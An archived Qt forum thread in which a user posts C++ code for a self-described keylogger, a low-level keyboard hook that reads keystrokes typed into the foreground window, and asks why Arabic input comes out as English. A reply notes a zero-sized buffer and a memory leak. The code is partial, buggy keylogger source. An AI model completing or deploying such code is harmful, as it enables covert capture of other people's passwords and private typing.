PDA

View Full Version : unable to get uni-code inputs from another thread



Mohammad
14th November 2011, 14:54
Hi
i am writing a key logger which logging uni-code chars by attach foreground window thread with my thread .
it works fine when i type English chars and it collect the right case of chars (small or capital) whether in current thread or in foreground thread .
the problem when i type Arabic chars in foreground thread ,my current thread receives the correspond chars in English.
As my current thread receives the right keyboardstate and Arabic chars when it is the foreground thread.

here is the code :

LRESULT CALLBACK keyproc(int nCode,WPARAM wparam,LPARAM lparam)
{
if(nCode ==HC_ACTION)
{
if(wparam==WM_KEYDOWN)
{
KBDLLHOOKSTRUCT *p=(KBDLLHOOKSTRUCT*)lparam;
byte b[256];
wchar_t *buff=new wchar_t[0];
AttachThreadInput(GetWindowThreadProcessId(GetFore groundWindow(),NULL), GetCurrentThreadId(),true);
if (GetKeyboardState(b))
{
ToUnicode(p->vkCode,p->scanCode,b,buff,1,0);
}
s+=QString::fromWCharArray(buff,1);
}
}

return 0;
}




any help please..........

Mohammad
15th November 2011, 04:53
is there any one can help???????

ChrisW67
15th November 2011, 05:29
Should buff be allocated some space to hold characters?

Edit: Buff also seems to be a memory leak.

Mohammad
15th November 2011, 14:56
I edited the code and i have the same result :when my thread is foreground thread it works correctly but else it doesn't .